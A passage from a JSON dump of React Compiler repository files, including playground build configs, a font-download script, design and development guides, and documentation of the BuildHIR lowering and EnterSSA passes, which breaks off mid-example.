https://playwright.dev/docs/trace-viewer\n    trace: 'retry-with-trace',\n\n    // All available context options: https://playwright.dev/docs/api/class-browser#browser-new-context\n    // contextOptions: {\n    //   ignoreHTTPSErrors: true,\n    // },\n    viewport: {width: 1920, height: 1080},\n  },\n\n  projects: [\n    {\n      name: 'chromium',\n      use: {\n        ...devices['Desktop Chrome'],\n        viewport: {width: 1920, height: 1080},\n      },\n    },\n    // {\n    //   name: 'Desktop Firefox',\n    //   use: {\n    //     ...devices['Desktop Firefox'],\n    //   },\n    // },\n    // {\n    //   name: 'Desktop Safari',\n    //   use: {\n    //     ...devices['Desktop Safari'],\n    //   },\n    // },\n    // Test against mobile viewports.\n    // {\n    //   name: \"Mobile Chrome\",\n    //   use: {\n    //     ...devices[\"Pixel 5\"],\n    //   },\n    // },\n    // {\n    //   name: \"Mobile Safari\",\n    //   use: devices[\"iPhone 12\"],\n    // },\n  ],\n});\n"
  },
  {
    "path": "compiler/apps/playground/postcss.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nmodule.exports = {\n  plugins: {\n    tailwindcss: {},\n    autoprefixer: {},\n  },\n};\n"
  },
  {
    "path": "compiler/apps/playground/public/site.webmanifest",
    "content": "{\n  \"name\": \"React Compiler Playground\",\n  \"short_name\": \"React REPL\",\n  \"display\": \"standalone\",\n  \"start_url\": \"/\",\n  \"theme_color\": \"#fff\",\n  \"background_color\": \"#000000\",\n  \"orientation\": \"portrait\",\n  \"icons\": [\n    {\n      \"src\": \"/icon-180x180.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"180x180\"\n    }\n  ]\n}\n"
  },
  {
    "path": "compiler/apps/playground/scripts/downloadFonts.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst {execSync} = require('child_process');\n\n// So that we don't need to check them into the repo.\n// See https://github.com/reactjs/reactjs.org/blob/main/beta/scripts/downloadFonts.js.\nexecSync(\n  'curl https://conf.reactjs.org/fonts/Optimistic_Display_W_Lt.woff2 --output public/fonts/Optimistic_Display_W_Lt.woff2'\n);\nexecSync(\n  'curl https://conf.reactjs.org/fonts/Optimistic_Display_W_Md.woff2 --output public/fonts/Optimistic_Display_W_Md.woff2'\n);\nexecSync(\n  'curl https://conf.reactjs.org/fonts/Optimistic_Display_W_Bd.woff2 --output public/fonts/Optimistic_Display_W_Bd.woff2'\n);\n"
  },
  {
    "path": "compiler/apps/playground/scripts/link-compiler.sh",
    "content": "#!/usr/bin/env bash\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nset -eo pipefail\n\nHERE=$(pwd)\n\ncd ../../packages/react-compiler-runtime && yarn --silent link && cd \"$HERE\"\ncd ../../packages/babel-plugin-react-compiler && yarn --silent link && cd \"$HERE\"\n\nyarn --silent link babel-plugin-react-compiler\nyarn --silent link react-compiler-runtime\n"
  },
  {
    "path": "compiler/apps/playground/styles/globals.css",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n@tailwind base;\n@tailwind components;\n@tailwind utilities;\n\n@layer base {\n  @font-face {\n    font-family: \"Source Code Pro\";\n    font-style: normal;\n    font-weight: 400;\n    font-display: swap;\n    src: url(\"/fonts/Source-Code-Pro-Regular.woff2\") format(\"woff2\");\n  }\n\n  @font-face {\n    font-family: \"Optimistic Display\";\n    src: url(\"/fonts/Optimistic_Display_W_Lt.woff2\") format(\"woff2\");\n    font-weight: 300;\n    font-style: normal;\n    font-display: swap;\n  }\n\n  @font-face {\n    font-family: \"Optimistic Display\";\n    src: url(\"/fonts/Optimistic_Display_W_Md.woff2\") format(\"woff2\");\n    font-weight: 500;\n    font-style: normal;\n    font-display: swap;\n  }\n\n  @font-face {\n    font-family: \"Optimistic Display\";\n    src: url(\"/fonts/Optimistic_Display_W_Bd.woff2\") format(\"woff2\");\n    font-weight: 700;\n    font-style: normal;\n    font-display: swap;\n  }\n\n  html,\n  body {\n    padding: 0;\n    margin: 0;\n  }\n\n  a {\n    color: inherit;\n    text-decoration: none;\n  }\n\n  * {\n    box-sizing: border-box;\n  }\n}\n\n@layer utilities {\n  /* Chrome, Safari, Opera */\n  .no-scrollbar::-webkit-scrollbar {\n    display: none;\n  }\n\n  .no-scrollbar {\n    -ms-overflow-style: none; /* IE, Edge */\n    scrollbar-width: none; /* Firefox */\n  }\n}\n\n::view-transition-old(.slide-in) {\n  animation-name: slideOutLeft;\n}\n::view-transition-new(.slide-in) {\n  animation-name: slideInLeft;\n}\n::view-transition-group(.slide-in) {\n  z-index: 1;\n}\n::view-transition-old(.slide-out) {\n  animation-name: slideOutLeft;\n}\n::view-transition-new(.slide-out) {\n  animation-name: slideInLeft;\n}\n::view-transition-group(.slide-out) {\n  z-index: 1;\n}\n\n@keyframes slideOutLeft {\n  from {\n    transform: translateX(0);\n  }\n  to {\n    transform: translateX(-100%);\n  }\n}\n@keyframes slideInLeft {\n  from {\n    transform: translateX(-100%);\n  }\n  to {\n    transform: translateX(0);\n  }\n}\n\n::view-transition-old(.container),\n::view-transition-new(.container) {\n  height: 100%;\n}\n\n::view-transition-old(.accordion-container),\n::view-transition-new(.accordion-container) {\n  height: 100%;\n  object-fit: none;\n  object-position: left;\n}\n\n::view-transition-old(.tab-highlight),\n::view-transition-new(.tab-highlight) {\n  height: 100%;\n}\n::view-transition-group(.tab-text) {\n\tz-index: 1;\n}\n\n::view-transition-old(.expand-accordion),\n::view-transition-new(.expand-accordion) {\n  width: auto;\n}\n::view-transition-group(.expand-accordion) {\n  overflow: clip;\n}\n\n/**\n * For some reason, the original Monaco editor is still visible to the\n * left of the DiffEditor. This is a workaround for better visual clarity.\n */\n.monaco-diff-editor .editor.original{\n  visibility: hidden !important;\n}\n"
  },
  {
    "path": "compiler/apps/playground/tailwind.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst defaultTheme = require('tailwindcss/defaultTheme');\nconst colors = require('./colors');\n\nmodule.exports = {\n  content: [\n    './app/**/*.{js,ts,jsx,tsx}',\n    './pages/**/*.{js,ts,jsx,tsx}',\n    './components/**/*.{js,ts,jsx,tsx}',\n    './lib/forgetMonacoDiagnostics.ts',\n  ],\n  theme: {\n    extend: {\n      colors,\n      width: {\n        toast: 'min(900px, 100vw - 40px)',\n        'toast-body': 'calc(100% - 60px)',\n        'toast-title': 'calc(100% - 40px)',\n      },\n      height: {\n        content: 'calc(100vh - 45px)',\n        monaco: 'calc(100vh - 93px)',\n        monaco_small: 'calc(100vh - 129px)',\n      },\n      fontFamily: {\n        sans: [\n          'Optimistic Display',\n          '-apple-system',\n          ...defaultTheme.fontFamily.sans,\n        ],\n      },\n    },\n  },\n  plugins: [],\n};\n"
  },
  {
    "path": "compiler/apps/playground/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"target\": \"ES2015\",\n    \"lib\": [\n      \"dom\",\n      \"dom.iterable\",\n      \"esnext\"\n    ],\n    \"types\": [\n      \"react/experimental\"\n    ],\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"noEmit\": true,\n    \"esModuleInterop\": true,\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"jsx\": \"preserve\",\n    \"incremental\": true,\n    \"plugins\": [\n      {\n        \"name\": \"next\"\n      }\n    ]\n  },\n  \"include\": [\n    \"next-env.d.ts\",\n    \"**/*.ts\",\n    \"**/*.tsx\",\n    \".next/types/**/*.ts\"\n  ],\n  \"exclude\": [\n    \"node_modules\",\n    \"../../../**\"\n  ]\n}\n"
  },
  {
    "path": "compiler/apps/playground/vercel.json",
    "content": "{\n \"headers\": [\n    {\n      \"source\": \"/fonts/(.*).woff2\",\n      \"headers\": [\n        {\n          \"key\": \"Cache-Control\",\n          \"value\": \"public, max-age=31536000, immutable\"\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "compiler/docs/DESIGN_GOALS.md",
    "content": "# React Compiler — Goals, Design Principles, and Architecture\n\nThis document describes the goals, design principles, and high-level architecture of React Compiler. See the code for specifics of the data structures and compiler passes.\n\n## Goals\n\nThe idea of React Compiler is to allow developers to use React's familiar declarative, component-based programming model, while ensuring that apps are fast by default. Concretely we seek to achieve the following goals:\n\n* Bound the amount of re-rendering that happens on updates to ensure that apps have predictably fast performance by default.\n* Keep startup time neutral with pre-React Compiler performance. Notably, this means holding code size increases and memoization overhead low enough to not impact startup.\n* Retain React's familiar declarative, component-oriented programming model. i.e, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.\n* \"Just work\" on idiomatic React code that follows React's rules (pure render functions, the rules of hooks, etc).\n* Support typical debugging and profiling tools and workflows.\n* Be predictable and understandable enough by React developers — i.e. developers should be able to quickly develop a rough intuition of how React Compiler works.\n* Not require explicit annotations (types or otherwise) for typical product code. We may provide features that allow developers to opt-in to using type information to enable additional optimizations, but the compiler should work well without type information or other annotations.\n\n## Non-Goals\n\nThe following are explicitly *not* goals for React Compiler:\n\n* Provide perfectly optimal re-rendering with zero unnecessary recomputation. This is a non-goal for several reasons:\n  * The runtime overhead of the extra tracking involved can outweigh the cost of recomputation in many cases.\n  * In cases with conditional dependencies it may not be possible to avoid recomputing some/all instructions.\n  * The amount of code may regress startup times, which would conflict with our goal of neutral startup performance.\n* Support code that violates React's rules. React's rules exist to help developers build robust, scalable applications and form a contract that allows us to continue improving React without breaking applications. React Compiler depends on these rules to safely transform code, and violations of rules will therefore break React Compiler's optimizations.\n* Support legacy React features. Notably we will not support class components due to their inherent mutable state being shared across multiple methods with complex lifetimes and data flow.\n* Support 100% of the JavaScript language. In particular, we will not support rarely used features and/or features which are known to be unsafe or which cannot be modeled soundly. For example, nested classes that capture values from their closure are difficult to model accurately because of mutability, and `eval()` is unsafe. We aim to support the vast majority of JavaScript code (and the TypeScript and Flow dialects)\n\n## Design Principles\n\nMany aspects of the design follow naturally from the above goals:\n\n* The compiler output must be high-level code that retains not just the semantics of the input but also is expressed using similar constructs to the input. For example, rather than convert logical expressions (`a ?? b`) into an `if` statement, we retain the high-level form of the logical expression. Rather than convert all looping constructs to a single form, we retain the original form of the loop. This follows from our goals:\n  * High-level code is more compact, and helps reduce the impact of compilation on application size.\n  * High-level constructs that match what the developer wrote are easier to debug.\n* From the above, it then follows that the compiler's internal representation must also be high-level enough to be able to output the original high-level constructs. The internal representation is what we call a High-level Intermediate Representation (HIR) — a name borrowed from Rust Compiler. However, React Compiler's HIR is perhaps even more suited to this name, as it retains high-level information (distinguishing if vs logical vs ternary, or for vs while vs for..of) but also represents code as a control-flow graph with no nesting.\n\n## Architecture\n\nReact Compiler has two primary public interfaces: a Babel plugin for transforming code, and an ESLint plugin for reporting violations of the Rules of React. Internally, both use the same core compiler logic.\n\nThe core of the compiler is largely decoupled from Babel, using its own intermediate representations. The high-level flow is as follows:\n\n- **Babel Plugin**: Determines which functions in a file should be compiled, based on the plugin options and any local opt-in/opt-out directives. For each component or hook to be compiled, the plugin calls the compiler, passing in the original function and getting back a new AST node which will replace the original.\n- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a \"back edge\" (i.e. a loop).\n- **SSA Conversion** (EnterSSA): The HIR is converted to HIR form, such that all Identifiers in the HIR are updated to an SSA-based identifier.\n- Validation: We run various validation passes to check that the input is valid React, i.e. that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.\n- **Optimization**: Various passes such as dead code elimination and constant propagation can generally improve performance and reduce the amount of instructions to be optimized later.\n- **Type Inference** (InferTypes): We run a conservative type inference pass to identify certain key types of data that may appear in the program that are relevant for further analysis, such as which values are hooks, primitives, etc. \n- **Inferring Reactive Scopes**: Several passes are involved in determining groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups \"reactive scopes\", and each can have one or more declarations (or occasionally a reassignment).\n- **Constructing/Optimizing Reactive Scopes**: Once the compiler determines the set of reactive scopes, it then transforms the program to make these scopes explicit in the HIR. The code is later converted to a ReactiveFunction, which is a hybrid of the HIR and an AST. Scopes are further pruned and transformed. For example, the compiler cannot make hook calls conditional, so any reactive scopes that contain a hook call must be pruned. If two consecutive scopes will always invalidate together, we attempt to merge them to reduce overhead, etc.\n- **Codegen**: Finally, the ReactiveFunction hybrid HIR/AST is converted back to a raw Babel AST node, and returned to the Babel plugin.\n- **Babel Plugin**: The Babel plugin replaces the original node with the new version.\n\nThe ESLint plugin works similarly. For now, it effectively invokes the Babel plugin on the code and reports back a subset of the errors. The compiler can report a variety of errors, including that the code is simply invalid JavaScript, but the ESLint plugin filters to only show the React-specific errors.\n"
  },
  {
    "path": "compiler/docs/DEVELOPMENT_GUIDE.md",
    "content": "# React Compiler Development Guide\n\nNote: for general notes about contributing, see the [CONTRIBUTING.md](../../CONTRIBUTING.md).\n\n## Compiler Development\n\nFor general compiler development we recommend the following workflow:\n\n```sh\n# Install dependencies\nyarn\n\n# build the custom test runner\nyarn snap:build\n\n# Run the primary tests in watch mode\nyarn snap --watch\n```\n\n`snap` is our custom test runner, which creates \"golden\" test files that have the expected output for each input fixture, as well as the results of executing a specific input (or sequence of inputs) in both the uncompiled and compiler versions of the input.\n\n### Compiling Arbitrary Files\n\nYou can compile any file (not just fixtures) using:\n\n```sh\n# Compile a file and see the output\nyarn snap compile <path>\n\n# Compile with debug output to see the state after each compiler pass\n# This is an alternative to `yarn snap -d -p <pattern>` when you don't have a fixture file yet\nyarn snap compile --debug <path>\n```\n\n### Minimizing Test Cases\n\nTo reduce a failing test case to its minimal reproduction:\n\n```sh\n# Minimize a file that causes a compiler error\nyarn snap minimize <path>\n\n# Minimize and update the file in-place\nyarn snap minimize --update <path>\n```\n\nWhen contributing changes, we prefer to:\n* Add one or more fixtures that demonstrate the current compiled output for a particular combination of input and configuration. Send this as a first PR.\n* Then, make changes to the compiler that achieve the desired output for those examples. Commit both the output changes and the corresponding compiler changes in a second PR.\n\n"
  },
  {
    "path": "compiler/fixtures/.gitkeep",
    "content": ""
  },
  {
    "path": "compiler/package.json",
    "content": "{\n  \"private\": true,\n  \"workspaces\": {\n    \"packages\": [\n      \"packages/*\"\n    ]\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\"\n  },\n  \"scripts\": {\n    \"copyright\": \"node scripts/copyright.js\",\n    \"hash\": \"scripts/hash.sh\",\n    \"start\": \"yarn workspace playground run start\",\n    \"next\": \"yarn workspace playground run dev\",\n    \"build\": \"yarn workspaces run build\",\n    \"dev\": \"cd apps/playground && yarn dev\",\n    \"test\": \"yarn workspaces run test\",\n    \"snap\": \"yarn workspace babel-plugin-react-compiler run snap\",\n    \"snap:build\": \"yarn workspace snap run build\",\n    \"npm:publish\": \"node scripts/release/publish\",\n    \"eslint-docs\": \"yarn workspace babel-plugin-react-compiler build && node scripts/build-eslint-docs.js\"\n  },\n  \"dependencies\": {\n    \"fs-extra\": \"^4.0.2\",\n    \"react-is\": \"0.0.0-experimental-4beb1fd8-20241118\"\n  },\n  \"devDependencies\": {\n    \"@babel/types\": \"^7.26.0\",\n    \"@tsconfig/strictest\": \"^2.0.5\",\n    \"concurrently\": \"^7.4.0\",\n    \"esbuild\": \"^0.25.0\",\n    \"folder-hash\": \"^4.0.4\",\n    \"npm-dts\": \"^1.3.13\",\n    \"object-assign\": \"^4.1.1\",\n    \"ora\": \"5.4.1\",\n    \"prettier\": \"^3.3.3\",\n    \"prettier-plugin-hermes-parser\": \"^0.26.0\",\n    \"prompt-promise\": \"^1.0.3\",\n    \"rimraf\": \"^6.0.1\",\n    \"to-fast-properties\": \"^2.0.0\",\n    \"tsup\": \"^8.4.0\",\n    \"typescript\": \"^5.4.3\",\n    \"wait-on\": \"^7.2.0\",\n    \"yargs\": \"^17.7.2\"\n  },\n  \"resolutions\": {\n    \"@babel/types\": \"7.26.3\"\n  },\n  \"packageManager\": \"yarn@1.22.22\"\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/README.md",
    "content": "# babel-plugin-react-compiler\n\nReact Compiler is a compiler that optimizes React applications, ensuring that only the minimal parts of components and hooks will re-render when state changes. The compiler also validates that components and hooks follow the Rules of React.\n\nThis package contains the React Compiler Babel plugin use in projects that make use of Babel. You can find instructions for using this plugin here: https://react.dev/learn/react-compiler\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/01-lower.md",
    "content": "# lower (BuildHIR)\n\n## File\n`src/HIR/BuildHIR.ts`\n\n## Purpose\nConverts a Babel AST function node into a High-level Intermediate Representation (HIR), which represents code as a control-flow graph (CFG) with basic blocks, instructions, and terminals. This is the first major transformation pass in the React Compiler pipeline, enabling precise expression-level memoization analysis.\n\n## Input Invariants\n- Input must be a valid Babel `NodePath<t.Function>` (FunctionDeclaration, FunctionExpression, or ArrowFunctionExpression)\n- The function must be a component or hook (determined by the environment)\n- Babel scope analysis must be available for binding resolution\n- An `Environment` instance must be provided with compiler configuration\n- Optional `bindings` map for nested function lowering (recursive calls)\n- Optional `capturedRefs` map for context variables captured from outer scope\n\n## Output Guarantees\n- Returns `Result<HIRFunction, CompilerError>` - either a successfully lowered function or compilation errors\n- The HIR function contains:\n  - A complete CFG with basic blocks (`body.blocks: Map<BlockId, BasicBlock>`)\n  - Each block has an array of instructions and exactly one terminal\n  - All control flow is explicit (if/else, loops, switch, logical operators, ternary)\n  - Parameters are converted to `Place` or `SpreadPattern`\n  - Context captures are tracked in `context` array\n  - Function metadata (id, async, generator, directives)\n- All identifiers get unique `IdentifierId` values\n- Instructions have placeholder instruction IDs (set to 0, assigned later)\n- Effects are null (populated by later inference passes)\n\n## Algorithm\nThe lowering algorithm uses a recursive descent pattern with a `HIRBuilder` helper class:\n\n1. **Initialization**: Create an `HIRBuilder` with environment and optional bindings. Process captured context variables.\n\n2. **Parameter Processing**: For each function parameter:\n   - Simple identifiers: resolve binding and create Place\n   - Patterns (object/array): create temporary Place, then emit destructuring assignments\n   - Rest elements: wrap in SpreadPattern\n   - Unsupported: emit Todo error\n\n3. **Body Processing**:\n   - Arrow function expressions: lower body expression to temporary, emit implicit return\n   - Block statements: recursively lower each statement\n\n4. **Statement Lowering** (`lowerStatement`): Handle each statement type:\n   - **Control flow**: Create separate basic blocks for branches, loops connect back to conditional blocks\n   - **Variable declarations**: Create `DeclareLocal`/`DeclareContext` or `StoreLocal`/`StoreContext` instructions\n   - **Expressions**: Lower to temporary and discard result\n   - **Hoisting**: Detect forward references and emit `DeclareContext` for hoisted identifiers\n\n5. **Expression Lowering** (`lowerExpression`): Convert expressions to `InstructionValue`:\n   - **Identifiers**: Create `LoadLocal`, `LoadContext`, or `LoadGlobal` based on binding\n   - **Literals**: Create `Primitive` values\n   - **Operators**: Create `BinaryExpression`, `UnaryExpression` etc.\n   - **Calls**: Distinguish `CallExpression` vs `MethodCall` (member expression callee)\n   - **Control flow expressions**: Create separate value blocks for branches (ternary, logical, optional chaining)\n   - **JSX**: Lower to `JsxExpression` with lowered tag, props, and children\n\n6. **Block Management**: The builder maintains:\n   - A current work-in-progress block accumulating instructions\n   - Completed blocks map\n   - Scope stack for break/continue resolution\n   - Exception handler stack for try/catch\n\n7. **Termination**: Add implicit void return at end if no explicit return\n\n## Key Data Structures\n\n### HIRBuilder (from HIRBuilder.ts)\n- `#current: WipBlock` - Work-in-progress block being populated\n- `#completed: Map<BlockId, BasicBlock>` - Finished blocks\n- `#scopes: Array<Scope>` - Stack for break/continue target resolution (LoopScope, LabelScope, SwitchScope)\n- `#exceptionHandlerStack: Array<BlockId>` - Stack of catch handlers for try/catch\n- `#bindings: Bindings` - Map of variable names to their identifiers\n- `#context: Map<t.Identifier, SourceLocation>` - Captured context variables\n- Methods: `push()`, `reserve()`, `enter()`, `terminate()`, `terminateWithContinuation()`\n\n### Core HIR Types\n- **BasicBlock**: Contains `instructions: Array<Instruction>`, `terminal: Terminal`, `preds: Set<BlockId>`, `phis: Set<Phi>`, `kind: BlockKind`\n- **Instruction**: Contains `id`, `lvalue` (Place), `value` (InstructionValue), `effects` (null initially), `loc`\n- **Terminal**: Block terminator - `if`, `branch`, `goto`, `return`, `throw`, `for`, `while`, `switch`, `ternary`, `logical`, etc.\n- **Place**: Reference to a value - `{kind: 'Identifier', identifier, effect, reactive, loc}`\n- **InstructionValue**: The operation - `LoadLocal`, `StoreLocal`, `CallExpression`, `BinaryExpression`, `FunctionExpression`, etc.\n\n### Block Kinds\n- `block` - Regular sequential block\n- `loop` - Loop header/test block\n- `value` - Block that produces a value (ternary/logical branches)\n- `sequence` - Sequence expression block\n- `catch` - Exception handler block\n\n## Edge Cases\n\n1. **Hoisting**: Forward references to `let`/`const`/`function` declarations emit `DeclareContext` before the reference, enabling correct temporal dead zone handling\n\n2. **Context Variables**: Variables captured by nested functions use `LoadContext`/`StoreContext` instead of `LoadLocal`/`StoreLocal`\n\n3. **For-of/For-in Loops**: Synthesize iterator instructions (`GetIterator`, `IteratorNext`, `NextPropertyOf`)\n\n4. **Optional Chaining**: Creates nested `OptionalTerminal` structures with short-circuit branches\n\n5. **Logical Expressions**: Create branching structures where left side stores to temporary, right side only evaluated if needed\n\n6. **Try/Catch**: Adds `MaybeThrowTerminal` after each instruction in try block, modeling potential control flow to handler\n\n7. **JSX in fbt**: Tracks `fbtDepth` counter to handle whitespace differently in fbt/fbs tags\n\n8. **Unsupported Syntax**: `var` declarations, `with` statements, inline `class` declarations, `eval` - emit appropriate errors\n\n## TODOs\n- `returnTypeAnnotation: null, // TODO: extract the actual return type node if present`\n- `TODO(gsn): In the future, we could only pass in the context identifiers that are actually used by this function and its nested functions`\n- Multiple `// TODO remove type cast` in destructuring pattern handling\n- `// TODO: should JSX namespaced names be handled here as well?`\n\n## Example\nInput JavaScript:\n```javascript\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n```\n\nOutput HIR (simplified):\n```\nfoo(<unknown> x$0, <unknown> y$1): <unknown> $12\nbb0 (block):\n  [1] <unknown> $6 = LoadLocal <unknown> x$0\n  [2] If (<unknown> $6) then:bb2 else:bb1 fallthrough=bb1\n\nbb2 (block):\n  predecessor blocks: bb0\n  [3] <unknown> $2 = LoadGlobal(module) foo\n  [4] <unknown> $3 = false\n  [5] <unknown> $4 = LoadLocal <unknown> y$1\n  [6] <unknown> $5 = Call <unknown> $2(<unknown> $3, <unknown> $4)\n  [7] Return Explicit <unknown> $5\n\nbb1 (block):\n  predecessor blocks: bb0\n  [8] <unknown> $7 = LoadLocal <unknown> y$1\n  [9] <unknown> $8 = 10\n  [10] <unknown> $9 = Binary <unknown> $7 * <unknown> $8\n  [11] <unknown> $10 = Array [<unknown> $9]\n  [12] Return Explicit <unknown> $10\n```\n\nKey observations:\n- The function has 3 basic blocks: entry (bb0), consequent (bb2), alternate/fallthrough (bb1)\n- The if statement creates an `IfTerminal` at the end of bb0\n- Each branch ends with its own `ReturnTerminal`\n- All values are stored in temporaries (`$N`) or named identifiers (`x$0`, `y$1`)\n- Instructions have sequential IDs within blocks\n- Types and effects are `<unknown>` at this stage (populated by later passes)\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/02-enterSSA.md",
    "content": "# enterSSA\n\n## File\n`src/SSA/EnterSSA.ts`\n\n## Purpose\nConverts the HIR from a non-SSA form (where variables can be reassigned) into Static Single Assignment (SSA) form, where each variable is defined exactly once and phi nodes are inserted at control flow join points to merge values from different paths.\n\n## Input Invariants\n- The HIR must have blocks in reverse postorder (predecessors visited before successors, except for back-edges)\n- Block predecessor information (`block.preds`) must be populated correctly\n- The function's `context` array must be empty for the root function (outer function declarations)\n- Identifiers may be reused across multiple definitions/assignments (non-SSA form)\n\n## Output Guarantees\n- Each identifier has a unique `IdentifierId` - no identifier is defined more than once\n- All operand references use the SSA-renamed identifiers\n- Phi nodes are inserted at join points where values from different control flow paths converge\n- Function parameters are SSA-renamed\n- Nested functions (FunctionExpression, ObjectMethod) are recursively converted to SSA form\n- Context variables (captured from outer scopes) are handled specially and not redefined\n\n## Algorithm\nThe pass uses the Braun et al. algorithm (\"Simple and Efficient Construction of Static Single Assignment Form\") with adaptations for handling loops and nested functions.\n\n### Key Steps:\n1. **Block Traversal**: Iterate through blocks in order (assumed reverse postorder from previous passes)\n2. **Definition Tracking**: Maintain a per-block `defs` map from original identifiers to their SSA-renamed versions\n3. **Renaming**:\n   - When a value is **defined** (lvalue), create a new SSA identifier with fresh `IdentifierId`\n   - When a value is **used** (operand), look up the current SSA identifier via `getIdAt`\n4. **Phi Node Insertion**: When looking up an identifier at a block with multiple predecessors:\n   - If all predecessors have been visited, create a phi node collecting values from each predecessor\n   - If some predecessors are unvisited (back-edge/loop), create an \"incomplete phi\" that will be fixed later\n5. **Incomplete Phi Resolution**: When all predecessors of a block are finally visited, fix any incomplete phi nodes by populating their operands\n6. **Nested Function Handling**: Recursively apply SSA transformation to nested functions, temporarily adding a fake predecessor edge to enable identifier lookup from the enclosing scope\n\n### Phi Node Placement Logic (`getIdAt`):\n- If the identifier is defined locally in the current block, return it\n- If at entry block with no predecessors and not found, mark as unknown (global)\n- If some predecessors are unvisited (loop), create incomplete phi\n- If exactly one predecessor, recursively look up in that predecessor\n- If multiple predecessors, create phi node with operands from all predecessors\n\n## Key Data Structures\n- **SSABuilder**: Main class managing the transformation\n  - `#states: Map<BasicBlock, State>` - Per-block state (defs map and incomplete phis)\n  - `unsealedPreds: Map<BasicBlock, number>` - Count of unvisited predecessors per block\n  - `#unknown: Set<Identifier>` - Identifiers assumed to be globals\n  - `#context: Set<Identifier>` - Context variables that should not be redefined\n- **State**: Per-block state containing:\n  - `defs: Map<Identifier, Identifier>` - Maps original identifiers to SSA-renamed versions\n  - `incompletePhis: Array<IncompletePhi>` - Phi nodes waiting for predecessor values\n- **IncompletePhi**: Tracks a phi node created before all predecessors were visited\n  - `oldPlace: Place` - Original place being phi'd\n  - `newPlace: Place` - SSA-renamed phi result place\n- **Phi**: The actual phi node in the HIR\n  - `place: Place` - The result of the phi\n  - `operands: Map<BlockId, Place>` - Maps predecessor block to the place providing the value\n\n## Edge Cases\n- **Loops (back-edges)**: When a variable is used in a loop header before the loop body assigns it, an incomplete phi is created and later fixed when the loop body block is visited\n- **Globals**: If an identifier is used but never defined (reaching the entry block without a definition), it's assumed to be a global and not renamed\n- **Context variables**: Variables captured from an outer function scope are tracked specially and not redefined when reassigned\n- **Nested functions**: Function expressions and object methods are processed recursively with a temporary predecessor edge linking them to the enclosing block\n\n## TODOs\n- `[hoisting] EnterSSA: Expected identifier to be defined before being used` - Handles cases where hoisting causes an identifier to be used before definition (throws a Todo error for graceful bailout)\n\n## Example\n\n### Input (simple reassignment with control flow):\n```javascript\nfunction foo() {\n  let y = 2;\n  if (y > 1) {\n    y = 1;\n  } else {\n    y = 2;\n  }\n  let x = y;\n}\n```\n\n### Before SSA (HIR):\n```\nbb0 (block):\n  [1] $0 = 2\n  [2] $2 = StoreLocal Let y$1 = $0\n  [3] $7 = LoadLocal y$1\n  [4] $8 = 1\n  [5] $9 = Binary $7 > $8\n  [6] If ($9) then:bb2 else:bb3 fallthrough=bb1\n\nbb2 (block):\n  predecessor blocks: bb0\n  [7] $3 = 1\n  [8] $4 = StoreLocal Reassign y$1 = $3  // Same y$1 reassigned\n  [9] Goto bb1\n\nbb3 (block):\n  predecessor blocks: bb0\n  [10] $5 = 2\n  [11] $6 = StoreLocal Reassign y$1 = $5  // Same y$1 reassigned\n  [12] Goto bb1\n\nbb1 (block):\n  predecessor blocks: bb2 bb3\n  [13] $10 = LoadLocal y$1                // Which y$1?\n  [14] $12 = StoreLocal Let x$11 = $10\n```\n\n### After SSA:\n```\nbb0 (block):\n  [1] $15 = 2\n  [2] $17 = StoreLocal Let y$16 = $15    // y$16: initial definition\n  [3] $18 = LoadLocal y$16\n  [4] $19 = 1\n  [5] $20 = Binary $18 > $19\n  [6] If ($20) then:bb2 else:bb3 fallthrough=bb1\n\nbb2 (block):\n  predecessor blocks: bb0\n  [7] $21 = 1\n  [8] $23 = StoreLocal Reassign y$22 = $21  // y$22: new SSA name\n  [9] Goto bb1\n\nbb3 (block):\n  predecessor blocks: bb0\n  [10] $24 = 2\n  [11] $26 = StoreLocal Reassign y$25 = $24  // y$25: new SSA name\n  [12] Goto bb1\n\nbb1 (block):\n  predecessor blocks: bb2 bb3\n  y$27: phi(bb2: y$22, bb3: y$25)           // PHI NODE: merges y$22 and y$25\n  [13] $28 = LoadLocal y$27                  // Uses phi result\n  [14] $30 = StoreLocal Let x$29 = $28\n```\n\n### Loop Example (while loop with back-edge):\n```javascript\nfunction foo() {\n  let x = 1;\n  while (x < 10) {\n    x = x + 1;\n  }\n  return x;\n}\n```\n\n### After 